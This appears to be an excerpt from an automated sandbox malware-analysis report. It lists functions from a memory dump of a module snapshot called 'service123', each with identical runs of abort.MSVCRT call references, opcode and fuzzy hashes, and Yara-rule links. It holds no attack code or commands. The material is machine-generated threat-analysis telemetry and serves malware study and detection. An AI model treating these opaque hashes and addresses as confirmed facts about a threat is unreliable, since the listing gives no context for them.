Instruction ID: 2eaa9a331c30e9b9022c37d8a503a7873bcdcfdb5293c0de3de3c66f3c265b0e
Opcode Fuzzy Hash: 27122a5d4f6ac6790da11ef2ec0b514a7e5e44349cea8431a4a27fe238790451
Instruction Fuzzy Hash: B8319E316082008FE304DF2AC894B5AB7F1BF66309F049A59E498DBB91C379D609CFA5

Function 6C962BD3 Relevance: 37.6, APIs: 25, Instructions: 84COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 94d4b792d3bbf5a2b5d5ec038b19e045547003294522d8c6c7008e832040d092
Instruction ID: 55d8f545d0e27b86e37ae4564cc970b190b4bb7619c2056689a2069a51b62354
Opcode Fuzzy Hash: 94d4b792d3bbf5a2b5d5ec038b19e045547003294522d8c6c7008e832040d092
Instruction Fuzzy Hash: 5A2104B1505200CFE304EF19D8A9B1ABBF0FB6630DF009648E0889BBA1C379D549CFA5

Function 6C962AF1 Relevance: 37.6, APIs: 25, Instructions: 81COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: c2c54371188942e1a27f9a30d5755de355a9787d45c226d44cc73508c02c798b
Instruction ID: 5e6cfa6c429a1a5ef837cce297e0d98f212a7279cba3b335013c6b2d79ac1583
Opcode Fuzzy Hash: c2c54371188942e1a27f9a30d5755de355a9787d45c226d44cc73508c02c798b
Instruction Fuzzy Hash: ED11E3B1505200CFE304EF19D8A9B1AB7F0BB6630DF14A648D0989BAA1C779D5498FA5

Function 6C9629FD Relevance: 37.6, APIs: 25, Instructions: 78COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2924cb077af90f9d218642c8e9a0c4d7f62f4b8f21d1710fea7970f1e248767f
Instruction ID: 2faad7f2b378b4bc156d17682b19588f055f7e191938539ffa90837492a487aa
Opcode Fuzzy Hash: 2924cb077af90f9d218642c8e9a0c4d7f62f4b8f21d1710fea7970f1e248767f
Instruction Fuzzy Hash: 0B1103B1505200CFE304EF19D8A8B1ABBF0BB6630DF05A648D0889BAA1C779D4488FA5

Function 6C96297F Relevance: 37.6, APIs: 25, Instructions: 73COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 3477a79b8191afc4089094fdd00a404ed570aef39b3bd2948ed58a26645557f8
Instruction ID: d7d530c85b1d4a3333a28fab982267965b740ca10d8b9995581349964ff6bda1
Opcode Fuzzy Hash: 3477a79b8191afc4089094fdd00a404ed570aef39b3bd2948ed58a26645557f8
Instruction Fuzzy Hash: 19115771505200CFE304EF19D4A8B2AB7F0FB6630DF04A688D0889BBA5C739D448CFA9

Function 6C9629BE Relevance: 37.6, APIs: 25, Instructions: 70COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 0154becdb150cd048692d41fb4df0f4f864fb12742ef2fc6026bdf8eb267e2c3
Instruction ID: da842dfea59e7d5b47c517bc92aa3f18f3cc46b0b5cb8b3872b2f9b6745ea66f
Opcode Fuzzy Hash: 0154becdb150cd048692d41fb4df0f4f864fb12742ef2fc6026bdf8eb267e2c3
Instruction Fuzzy Hash: A80148B0505200CFE304EF19D4A8B6AB7B1FB6630DF04A688D4889BBA5C739D448CFA5

Function 6C962B6F Relevance: 37.6, APIs: 25, Instructions: 67COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: de5c4c7a14cf013d8b2590e9c9c992edfdd9c8ee168e1b31943773dfc334fd9b
Instruction ID: c4013d568adc59b86da69e28bbdeb183a0dad045d51b9f096a69084d571f8ed0
Opcode Fuzzy Hash: de5c4c7a14cf013d8b2590e9c9c992edfdd9c8ee168e1b31943773dfc334fd9b
Instruction Fuzzy Hash: 5E015AB05052008FE304EF19C498B6AB7B1AB1230DF04A688D4489BBA5C739D4488F65

Function 6C962A3C Relevance: 37.6, APIs: 25, Instructions: 64COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: c7d3da48f2cde61c4f79b5724d938bde57c06f8815291054f3b81d6b2341b302
Instruction ID: 5d03546229f6311ffc92f2315450b7995294ef0e54e62c871850727eea5745e2
Opcode Fuzzy Hash: c7d3da48f2cde61c4f79b5724d938bde57c06f8815291054f3b81d6b2341b302
Instruction Fuzzy Hash: F6014670505200CFE304EF19D5A8B6AB7B1AF2230DF15A688C4489BAA6C739D4588FA9

Function 6C962B30 Relevance: 37.6, APIs: 25, Instructions: 61COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f3d417d99aba70c38642a017e69332669dd5c5124f8a1faf8d8dcb5e7aa742b4
Instruction ID: 5684aa0b868b1112b49ab1381540fe368106b094dc5d107b03bc7570c8e93d72
Opcode Fuzzy Hash: f3d417d99aba70c38642a017e69332669dd5c5124f8a1faf8d8dcb5e7aa742b4
Instruction Fuzzy Hash: 04F04F705052008FD704DF15C5D8B6AB7B1FF13309F55A588C4089BB66C735D458CFA5

